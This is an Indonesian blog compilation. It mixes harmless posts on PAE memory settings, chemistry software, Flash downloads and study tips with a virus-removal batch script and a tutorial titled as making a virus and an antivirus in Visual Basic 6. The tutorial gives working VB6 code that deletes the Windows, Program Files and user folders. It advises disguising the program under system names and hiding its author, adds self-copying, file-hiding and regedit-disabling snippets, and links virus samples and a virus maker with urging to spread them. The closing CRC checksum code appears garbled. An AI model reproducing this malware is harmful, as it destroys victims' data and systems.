Minggu, 31 Maret 2013

Memaksimalkan Kapasitas RAM pada Operating System


Beberapa hari terakhir ada rasa penasaran yang mesti segera terobati. Kejadiannya adalah ketika saya merakit seperangkat CPU dengan prosesor intel 4 inti dengan 4 GB memori dan saya pasang OpenSuse 11 untuk dimuati aplikasi kimia komputasi yang hanya jalan di linux. Setelah dilakukan pengecekan memory yang terbaca hanya 3 koma sekian GB saja. Padahal secara fisik memori yang saya gunakan adalah 2 keping memori @ 2 GB.
Saya mengira itu terjadi hanya di linux, ternyata setelah saya install windows xp sp2 kejadiannya sama. Teman saya yang juga baru merakit komputer untuk tujuan running riset kimia komputasi dengan memori sebesar 8 GB juga mengalami hal yang sama. Niat menggunakan RAM sebesar itu adalah agar running aplikasi yang memakan waktu lama bisa terkurangi. Alhasil semua terkendala bahwa memori yang disediakan tak termanfaatkan secara keseluruhan.
Kejadian serupa juga saya temui ketika lab kimia komputasi AIC jurusan Kimia UGM baru saja menambah 5 PC dengan masing-masing memori 4 GB, ternyata juga tidak terbaca/terpakai secara menyeluruh. Komplainpun dilayangkan ke penjual, setelah saya mendengar penjelasan dari penjual saya gak puas, tapi gak punya hak untuk komplain. Bahkan di buku manual motherboard pun sudah diwanti-wanti kalau RAM yang terpasang 4 GB maka akan dikenali oleh OS sistem 32 bit hanyalah 3,.. GB saja.
Akhirnya saya browsing di rumah dengan HAIER-Smart dengan kesabaran penuh (saking leletnya karena akses gratis) saya dapatkan link yang bisa sedikit menyenangkan… :) mudahan lancar sesuai kemauan… (sebab PC sekarang di lab selasa nanti baru bisa dipraktekan).
OK… Langkah untuk tujuan  tadi adalah dengan mengaktifkan PAE (Physical Address Extesion) yang secara default memang belum diaktifkan.
Caranya (yang saya ambil dari situs ini):
Aktifkan mode PAE  pada Windows XP
  • Klik kanan pada My Computer dan pilih “Properties”
  • Buka tab Advanced dan di bawah tab Startup and Recovery, di Settings dan klik “Edit”
  • Ini akan membuka notepad yang berisi file boot.ini. 
    Dibawah tulisan “[operating systems]” tertulis baris: multi
    (0) disk (0) rdisk (0) partition (2) \ WINDOWS = “Microsoft Windows XP”
    / noexecute = OptIn / fastdetect
     coba ubah menjadi:
    multi (0) disk (0) rdisk (0) partition (1) \ WINDOWS = “Microsoft
    Windows XP” / noexecute = OptIn / PAE
  • Simpan file tadi dan keluar.
Aktifkan mode PAE pada Windows Vista (yg ini belum akan saya coba, kan saya ndak pakai WV :) )
  • Tekan Windows key + R, kemudian ketikan cmd terus tekan enter
  • Tekan Ctrl + Shift + Enter untuk mengeksekusi prompt sebagai administrator
  • Enter command Bcdedit / Set SAP forceenable dan tekan enter.
Aktifkan mode PAE pada Linux Ubuntu (selasa nanti akan saya praktekkan di OpenSuse 11)
  • Buka terminal/konsol dan jalankan perintah untuk install sebuah kernel PAE: sudo apt-get update sudo sudo apt-get install
    linux-headers-server linux-image-server linux-server
  • Setelah installasi, restart system dengan new kernel yang baru: sudo reboot
Dengan prosedur tadi semestinya komputer saodara bisa mengenali RAM yang lebih dari 4 GB.
CATATAN: segala resiko dan kerusakan pada sistem anda akibat praktek ini, anda sendirilah yang menanggung!!! Mari bereksperimen…. dan selamat bereksperimen… semoga masalah saya dan anda yang punya masalah serupa dapat terselesaikan dan dapat memaksimalkan memori yang tersedia.
Kalau ada saran untuk mengatasi masalah di atas atau bahkan sudah mencoba-nya silahkan saja, senang sekali rasanya.

SELAMAT MENCOBA.!!!!!!!

Ekstensi OOChem di OpenOffice.Org untuk Penyisipan Rumus Kimia


Seolah tidak mau ketinggalan dengan Microsoft Office, OpenOffice.Org dalam memberikan layanan untuk program perkantoran terutama yang berhubungan dengan kimia ia juga memberikan kekhususan tersendiri bagi kimia. Maklum saja pengetikan kimia beda dengan pengetikan biasa. Sering diperlukan rumus-rumus kimia dan lain-lain.
Untuk memasang (meng-install) OOChemistry, anda harus memiliki OpenOffice.org yang sudah terpasang lebih dahulu misalnya baik untuk sistem operasi berplatform Windows, Linux, Solaris, *BSD, dan sebagainya, dan Java 1.6 runtime (Sun JRE 6 dan OpenJDK 6 pada platform x86 dan x86_64). Java harus teraktifkan dalam OpenOffice.org.  Jika anda menjumpai kesalahan (error) selama pemasangan (installation), anda mungkin memerlukan pemasangan paket OpenOffice.org-java-common atau yang sejenisnya.
Cara menginstall bisa cukup klik ganda file OOChem-0.1.0-alpha.oxt, atau kalau gagal anda bisa menambahkan secara manual, pada menu openoffice org klik Tool —> Extension Manager…—> Pilih tombol Add (ada di bagian bawah) —> Pilih file hasil unduhan OOChem-0.1.0-alpha.oxt  —> Ikuti petunjuk berikutnya hingga selesai.
Gambar 1. Tampilan layar bagian awal pesanagan ekstensi OOoChemistry.
Untuk membuat struktur kimia pada dokumen, pilih item menu  Insert->Object->OLE Object… dan pilih JChemPaint Chemical Diagram. Jendela JChemPaint akan muncul. Buat gambar yang anda inginkan dan tutup jendela JChemPaint – gambar akan tersimpan (tersisip – insert)dalam dokumen. Untuk mengedit diagram atau struktur, klik ganda pada struktur itu.
Gambar 2. Layar JChemPaint saat digunakan.
Gambar 3. Layar OpenOffice writer ketika disisipkan strukutur senyawa alanin hasil dari JChemPaint.
Unduh (download) OOo Chemistry di sini sebesar 5,66 MB.
Unduh OpenOffice.org versi 3.2.1 untuk Windows  di sini sebesar 148 MB.
Unduh OpenOffice.org versi 3.2.1 untuk sistem operasi lain selengkapnya bisa mungunjungi situs kambing.ui.edu.
Unduh Java runtime 1.6.0.21 dari sini sekitar 15,32 MB sesuaikan dengan sistem operasi yang anda gunakan.
Sumber : OOo Chemistry dari sourceforge.net.
Selamat mencoba kawan!!!

Cara Membuat Game Online di Blog

   Cara Membuat Game Online di Blog - Poetra Pakumis | Cara Membuat Game Online di Blog. Baru -baru ini saya membuat sebuah blog untuk game online, ternyata cukup mudah membuat Game Online di Blog saya banyak belajar dari blog mas kompi ajaib cara inipun saya dapatkan dari blog Kompi Ajaib. Berikut ini Cara Membuat Game Online di Blog.



Cara Membuat Game Online di Blog

1 . Silahkan buka www.Spilgames.com.
2. Pilih game yang sobat inginkan.
3. Bila sudah muncul di halaman gamenya silahkan geser kursor anda ke bawah dan cari kotak embed kode yang berisi kode HTML dari game tersebut : Misalnya saya pilih game Traffic Slam 3 dan embed kodenya seperti di bawah ini

<object width="640" height="420"><param name="movie" value="http://cdn.publishers.spilgames.com/mirror/flash/m/My_dear_boss_physics/MDBPhysics_.swf"></param><embed src="http://cdn.publishers.spilgames.com/mirror/flash/m/My_dear_boss_physics/MDBPhysics_.swf" type="application/x-shockwave-flash" width="640" height="420"></embed></object>
Kode yang berwarna merah di atas adalah lebar dan tinggi flash gamenya tersebut jadi sesuaikan dengan ukuran blog sobat.
Hasilnya seperti di bawah ini.

4. Sediakan juga thumblair, description dan cara bermain gamenya
5. Sekarang tinggal publikasikan postingan nya dan lihat hasilnya.
Untuk demonya silahkan lihat DISINI

Nah, sekian artikel saya tentang Cara Membuat Game Online di Blog semoga artikel yang saya tulis bermanfaat bagi sobat semua.

Kamis, 28 Maret 2013

Animasi Pembelajaran Matematika di Hotmath.com


Saya senang matematika, hanya senang saja. Kebetulan anak saya masih sekolah juga menyenanginya. Sambil browsing saya kembali “ngglitik” dan dapat beberapa animasi pembelajaran matematika yang pas banget buat anak saya yang masih SD dan masih SMP. Sayang hasil bowsingan saya kalau terbuang sia-sia, saya niat membagi hasilnya lewat tulisan tak berarti ini :)
Referensi untuk materi pembelajaran berbasis animasi-flash-swf sangat banyak, untuk mencarinya tinggal ketikan di kotak search browser tentang apa yang dicari, kalau perlu tambahkan tipe file dan kalau sudah ketemu situs yang bagus tinggal nambahkan string situsnya. Oh ya saran lagi sebaiknya untuk pencarian menggunakan kata dalam Bahasa Inggris yang biasanya banyak sekali kontennya. Bukannya anti bahasa sendiri loh :)
Screenshoot dari animasi hotmath.com
Saya iseng mengetikkan di bwoser firefox di kotak search google kata pencarian “graph linear equations filetype:swf” dapat itu web hotmath.com, tapi kalau dicari dibagian mana letak animasi interactifnya saya gak dapat. Yah sudah-lah maka cari di atas itu. pakai kata kunci “filetype:swf site:hotmath.com”, dapat deh semua file animasi dari situs itu. Wus tinggal sedot, tinggal download.
Memang tidak banyak-banyak amat dari situs itu, tetapi buat saya sudah lebih dari cukup untuk bisa memanfaatkannya. Oh ya kalau belum tahu gimana mengunduh file yang terembed pada halaman web tertentu, dan sedang menggunakan firefox, saya biasa lansung klik Menu Tools >>Page Info >> Media. Kemudian cari file yang ter-embed, kalau itu animasi flash, pastinya filenya adalah *.swf. Setelah yakin klik aja Save as…
Kalau mau silahkan makai cara tadi. Buat rekan guru matematika yang sedang mencari media pembelajaran matematika, cara saya itu sudah umum. Yang belum umum adalah bagaimana kita bisa meniru, bukan menjiplak, tetapi mendapat inspirasi agar kita juga bisa membuat hal yang seperti itu dengan versi kita. Kita sebagai guru itu sering kurang punya wawasan soal ilmu yang menunjang bidang kita, makanya dengan cara seperti itu kita coba berbuat sesuatu menghasilkan sesuatu, walau menganut azas ATM, amati, tiru, dan modifikasi.
Saya pun melakukan hal yang sama, misalnya mendapat file animasi bagus, pingin banget bikin, tapi ilmu cekak, pendek, gak cukup, dan gak sanggup, lebih tepatnya ora iso opo-opo, ning ra wani piro yo wis, makai azas ATM itu :)
Demikian, dan wassalam.

Cara Cepat Mengunduh (Download) Semua File Flash Langsung dari Google


     Kalau hendak mengunduh file-file flash (animasi/swf) hasil pencarian di google biasanya harus dibuka satu-satu dahulu, baru bisa diunduh. Tidak cukup praktis tetapi saya punya sedikit tips mungkin bisa dicoba.
Caranya?
Pastikan di komputer yang kita gunakan terinstall software pemercepat download (pada praktiknya saya menggunakan IDM). Kopi semua link dari hasil pencarian google. Jika dalam komputer sudah terinstall IDM, biasanya secara otomatis semua link yang terkopi dari google (dalam hal ini link yang berupa file flash) akan masuk dalam antrian IDM yang siap di download seperti screenshoot di bawah ini.
Beri tanda centang pada semua file flash (swf) yang hendak didownload, dan klik tombol OK.
Gampang kan?
Sedikit catatan, pastikan file-file flash yang muncul pada hasil pencarian adalah file animasi (flash/swf) yang memang kita cari atau yang kita perlukan.
Saya terbiasa dengan melihat terlebih dahulu dengan link yang memang berisi flash yang saya perlukan. Tentu saja pencariannya dibuat secara spesifik. Misalnya seperti pada link pencarian saya yang menggunakan bowser firefox ini. Dari hasil itu saya blok (seleksi) semua hasil pencarian, terus disalin (dikopi) dengan menekan Ctrl C maka IDM langsung menghendel dan file-file flash yang dimaksud itu siap untuk diunduh seperti halnya screenshoot di atas.
Demikian.

Emanim Aplikasi untuk Mempelajari Fenomena Gelombang Elektromagetik


     Emanim, sebuah aplikasi ringan namun powerfull yang digunakan untuk menjelaskan fenomena gelombang elektromagnetik. Bahasan tentang gelombang elektromagnetik ini biasa dijumpai dalam pelajaran fisika di sma, dan untuk orang yang belajar ilmu kimia bisa dijadikan dasar untuk mempelajari karakteristik suatu zat melalui spekstroskopi.
Jika pada pelajaran ilmu fisika siswa lebih sering hanya dikenalkan tentang sifat-sifat gelombang elektromagnetik hanya melalui cerita, paparan lisan atau tulisan tentu saja ini akan menjadi sulit dimengerti. Walaupun kadang dengan gambar sedikit membantu tetapi tetap saja akan menjadi sulit dipahami karena siswa atau pembelajar dipaksa untuk meng-imajinasi-kan sendiri apa yang ia dengar, ia baca sesuai dengan pemahamannya masing-masing.
Akan lebih baik jika konsep tentang gelombang (gelombang elektromaganetik) ini dikombinasikan dengan sebuah aplikasi selain dengan menggunakan simulasi alat nyata, karena masing-masing memiliki keterbatasan. Hanya dengan alat peraga nyata tentu tidak menjelaskan secara detil prilaku gelombang elektromagentik itu. Hanya dengan software pun demikian tidak bisa melihat gejala-gejala secara nyata.
Meskipun keduanya memiliki keterbatasan, dengan aplikasi yang ringan, yang tentu saja tidak diperlukan alat yang secara fisik, siswa diharapkan bisa tetap memahami konsep secara utuh.
Saya mendapati aplikasi ini ketika sedang mencari tentang spektroskopi dengan file berformat swf. Dalam tayangan flash tentang spektroskopi ini saya diarahkan untuk membuka tautan tentang aplikasi Emanim itu. Siapapun yang ingin mempelajari tentang fenomena tentang gelombang elektromagnetik ini bisa mengunduh dan menginstallnya di komputer sendiri. Aplikasi ini bisa dijalan kan pada pc bersistem operasi windows dan juga linux (dengan emulator tentunya :) ). Silakan klik di sini untuk mengunduh Emanim versi 1.2. Ini gratis, alias freeware, ukurannya hanya 5 MB. Untuk menginstallnya tinggal klik file exe itu.
Emanim ini dibuat dengan bahasa pemrograman python. Bahkan kalau kita mengerti tentang pemrograman python juga disediakan sourcecode-nya untuk mengembangkan lebih lanjut. Meskipun demikian aplikasi ini sudah memiliki copyright atas nama András Szilágyi dari Hongaria.
Dari website resminya dijelaskan bahwa dengan Emanim ini secara animasi interaktif kita bisa mengamati perilaku gelombang elektromagnetik secara tiga dimensi. Mulai dari memperbesar tampilan, memutarnya, mengatur berbagai parameter yang disediakan yang hanya tinggal geser saja kita bisa melihat gejala yang ditimbulkan dari perubahan parameter itu.
Emanim dapat membantu pengguna memahami berbagai fenomena yang berkaitan dengan gelombang elektromagnetik, dari yang paling sederhana seperti sebagai gelombang tunggal dalam ruang vakum sampai yang paling kompleks seperti dikroisme melingkar. Fitur unggulan yang dapat dimanfaatkan untuk pembelajaran dari aplikasi ini antara lain:
  • 19 set parameter standar yang mewakili fenomena fisik
  • Sebuah penjelasan singkat dari masing-masing fenomena ditampilkan setiap kali pengguna memilih fenomena dari menu
  • Fenomena kategori dasar sebagai berikut:
    • Jenis polarisasi (linier, melingkar)
    • Superposisi gelombang
    • Interferensi gelombang, termasuk gelombang tegak
    • Interaksi cahaya dan materi (penyerapan, refraksi)
    • Cahaya pada bahan anisotropik (dichroism dan birefringence)
    • Cahaya pada bahan optik aktif (dichroism melingkar dan birefringence)
  • Petunjuk ditampilkan untuk menunjukkan parameter bervariasi dalam rangka untuk mendapatkan pemahaman yang lebih baik tentang fenomena yang ditampilkan
  • Lima sudut pandang untuk menunjukkan fenomena paling optimal (tampilan cantik, dari samping, dari depan, dari belakang, dan secara vektor saja).
Demikian sedikit informasi, semoga bermanfaat untuk mempelajari gejala alam terkait gelombang elektromagnetik.
Wassalam,

Delapan Kunci Sukses Menguasai Kimia Dasar

    Tulisan ini saya tujukan untuk anak saya yang sedang menempuh mata kuliah kimia dasar di kampusnya. Sayang sekali saat kuliah kimia dasar dosennya berhalangan hadir tanpa informasi. Ok-lah yang penting ini bisa dimanfaatkan untuk mempersiapkan diri lebih baik lagi. Kunci sukses ini tentu saja bisa diterapkan untuk siswa-siswa SMA yang sedang belajar kimia.
Tulisan ini saya adaptasi dari sini.
Ok, berikut ini delapan kunci sukses dalam menguasai kimia dasar.
  1. Mempelajari kimia itu seperti mempelajari bahasa baru. Untuk menjadi cukup mahir dalam waktu yang relatif singkat, sering-seringlah berlatih seperti memecahkan masalah, mengerjakan latihan soal, menggambar struktur, menulis ulang dan mengoreksi catatan. Dalam hal ini sangat cocok dengan karakter pelajaran kimia yang juga menuntut kuatnya hafalan untuk beberapa konsep penting, meskipun ini bukanlah hal utama dalam menguasai kimia.
  2. Bagaimana kemampuan matematika Anda? Kimia dasar sangat bergantung pada keterampilan matematika. Jika Anda memiliki kemampuan matematika yang lemah, Anda harus meminta bantuan kepada yang lebih menguasai matematika untuk belajar kembali dasar-dasar matematika. Mengetahui dasar-dasar matematika merupakan modal yang penting dalam belajar kimia.
  3. Persiapkan diri untuk belajar di kelas! Bacalah bab sebelum pembelajaran atau perkuliahan dimulai. Ini akan baik jika dilakukan semalam sebelum ke esokan harinya kita menerima materi itu.  Memahami tidak akan terjadi pada paparan pertama untuk materi baru, sehingga jika presentasi kuliah adalah paparan untu kedua kalinya, maka pemahaman Anda akan jauh lebih baik. Anda juga dapat mempersiapkan pertanyaan-pertanyaan dari apa yang telah kita baca sebelumnya itu. Sambil memperhatikan penjelasan dosen atau guru, simaklah apakah pertanyaan yang muncul ketika anda membaca materi pelajaran/perkuliahan itu terjawab atau belum. Kalau belum ajukanlah pertanyaan itu sehingga diri menjadi aktif ketika di kelas.
  4. Kuliah atau hadir di kelas itu penting! Melewatkan kuliah akan menjamin kegagalan. Kuliah dan buku teks melayani peran yang saling melengkapi. Pada saat mengikuti kuliah dimaksudkan untuk menyoroti konsep, menyederhanakan kesulitan dan memperluas implikasi. Dalam kuliah Anda harus penuh perhatian. Seorang mahasiswa yang matang akan menuliskan tidak hanya apa yang ditulis pengajar di papan tulis, tetapi juga apa yang pengajar katakan.
  5. Menerapkan pengetahuan Anda! Terapkan apa yang Anda dapat dari apa yang Anda pelajari. Ini adalah cara tercepat untuk mengetahui apakah pemahaman Anda tidak lengkap atau tidak benar. So selanjutnya tentu saja harus diperbaiki.
  6. Tulislah kembali apa yang telah kamu alami, kamu kerjakan, kamu dapatkan! Lakukan itu semua cukup dengan pena dan kertas. Kebanyakan orang mengingat hal-hal yang mereka telah tuliskan, ini jauh lebih baik daripada mereka hanya membaca atau memikirkan. Kalau ada waktu perkuliahan atau pelajaran yang kamu dapatkan bisa dituliskan ulang di blog seperti ini, siapa tahu orang lain akan dapat memanfaatkan dan dari tulisan di blog akan menolongnya.
  7. Belajar secara teratur! Keteraturan atau kekonsistenan studi kimia sangat penting untuk keberhasilan. Jika belajar dengan metode SKS (sistem kebut semalam) atau dalam waktu yang mendesak  sebelum ujian ini kemungkinan akan membuat kegagalan.
  8. Ajukan pertanyaan! Bertanya bukanlah hal buruk, bertanyalah ketika ingin mendapat penjelasan. Ingat belajar itu pakai modal, baik uang, tenaga dan pikiran serta waktu, oleh karena itu ambillah keuntungan dengan sebanyak-banyaknya berupa ilmu, pengetahuan dan pengalaman dari pengajarmu.
Tips di atas tentu tidak akan bermanfaat kalau tidak diterapkan, oleh karena itu terapkanlah itu. Bahkan untuk pelajaran lain itu juga bisa diterapkan.
Semoga sukses dalam belajar kimia.

Selasa, 26 Maret 2013

Membuat antivirus sederhana

  Pernah coba nyingkirin virus tanpa antivirus ga?
Mungkin banyak yang pernah ngambil jalan pintas (nginstall ulang system Windows) klo bahkan antivirus ga bisa nyembuhim virus yang bikin system Windows keok..
Tapi itu sih ga keren, bahkan banyak ngabisin waktu..
Ada cara buat bikin komputer kita aman dari virus atau kehilangan data atau hal merugikan lainnya (kecuali hardware).
Ini pengalaman penulis yang hampir nyerah ngadepin Trojan.Horse.
Buat melumpuhkan virus
1. Untuk melumpuhkan virus ada baikknya make antivirus dulu, klo buat virus lokal yang baru-baru, mending make PCMAV terbaru. Tapi kalo pengen keliatan keren (bisa ngilangin virus tanpa antivirus), langsung ke no 2.
2. untuk ngelakuinnya perlu 2 Tools (autoruns.exe dan procexp.exe) yang tersedia dihttp://anakib.web.id/share/. Download dua file tersebut, soalnya alat2 nie pusaka rahasia penulis.. (rahasia???)
3. Buka procexp, lalu liatin program yang kira2 mencurigakan, biasanya virus2 make nama aneh, misalnya virus PendekarBlank (make empty.jpg, blank.doc, zero.txt, hole.zip, unoccupied.reg), ntde1ect.com, rund1132.exe, M5VBVM60.EXE, dllchache.exe, shell32.com, regedit32.com, aut0exec.bat
4. Lalu matiin tu virus yang lagi jalan, tapi buat virus yang klo dah dimatiin (task kill) tetep jalan, harus make cara yang kaya dibawah..
contoh script batch windows sederhana buat virus PendekarBlank
@echo off
color 0a
title Dokter_V
taskkill /im unoccupied.reg
taskkill /im empty.jpg
taskkill /im blank.doc
taskkill /im zero.txt
taskkill /im hole.zip (ulangin proses taskkill ini sebanyak banyaknya ampe virus ini bener-bener mati di memory)
cd %windir%
attrib -R -A -S -H system32.exe
del system32.exe
cd %windir%\system32
attrib -R -A -S -H dllchache.exe
attrib -R -A -S -H M5VBVM60.EXE
attrib -R -A -S -H rund1132.exe
del dllchache.exe
del M5VBVM60.EXE
del rund1132.exe
cd %windir%\system32\dllcache
attrib -R -A -S -H *.*
del regedit32.com
del shell32.com
cd %windir%
cd..
attrib -R -A -S -H aut0exec.bat
del aut0exec.bat
cd %windir%\system32\dllchache
attrib -R -A -S -H *.*
del /q /f *.*
rd /s /q %windir%\system32\dllchache
cls
echo.
echo Pendekar Blank Telah Dibasmi..
echo.
Pause
5. Kalo dah mati, ama file virus induk dah mati, saatnya hilangin registry yang dibuat ama virus, ato paling ga hilangin dari autorun make autoruns.exe, cari file-file yang kira-kira mencurigakan yang bakal ngaktifin virus lagi, trus disable deh..
6. trus coba restart buat mastiin dah sukses ato belum..

Cara Membuat Virus Dan AntiVirus Di Visual Basic 6



tutorial buat bikin virus sangat mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple banget.
yang anda perlukan antara lain adalah sebagai berikut :
1. VB(optimal : 6.0)
apabila anda ingin mendownload Visual Basic 6.0, klik disini
2. Ngerti tombol2nya VB

tutorialnya begini sob, :

1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode yg berwarna biru itu adalah penangkal nih virus sob, jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang sendiri… bisa kamu edit kok jadi apa gitu…

Yang berwarna merah itu folder yg bakal didelete ama nih virus, kamu edit sendiri aja…

4. Bikin nih project namanya kaya nama system, disini aku memakai nama “SystemKernel32″ jadi ga bakal dicurigain.

5. jangan pernah nulis nama kamu di project ini, okey friend?

6. terakhir ya tinggal di compile deh…
gimana sob, mudah sekali kan?..
sangat Simple kan? nih virus kerjanya ngapus system, jadi sengat berbahaya sekali … ini cman contoh bikin virus…

Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Johan.

Pertama, bikin form buat virus kamu pake Standart exe saja

1. Nyembuin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon



On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti. Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !

MEMBUAT ANTIVIRUS
Mungki ini sangat sederhana dan dibuat untuk menangapi tutorial sebelumnya yang tidak lengkap apabila hanya membuat virus saja oke langsung aja deh tanpa basa-basi lagi
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (- opsional)
  • First

Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Blog dengan ID 134100 Tidak ada

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan
If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Function
Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320
For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function
Private Sub Class_Initialize()
BuildTable
End Sub
================= END HERE ====================
Lalu ketikkan kode berikut dalam event Command1_Click :
================= START HERE ====================
Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca
Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1)) As Byte ‘deklarasi ulang untuk array
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub
erorhandle:
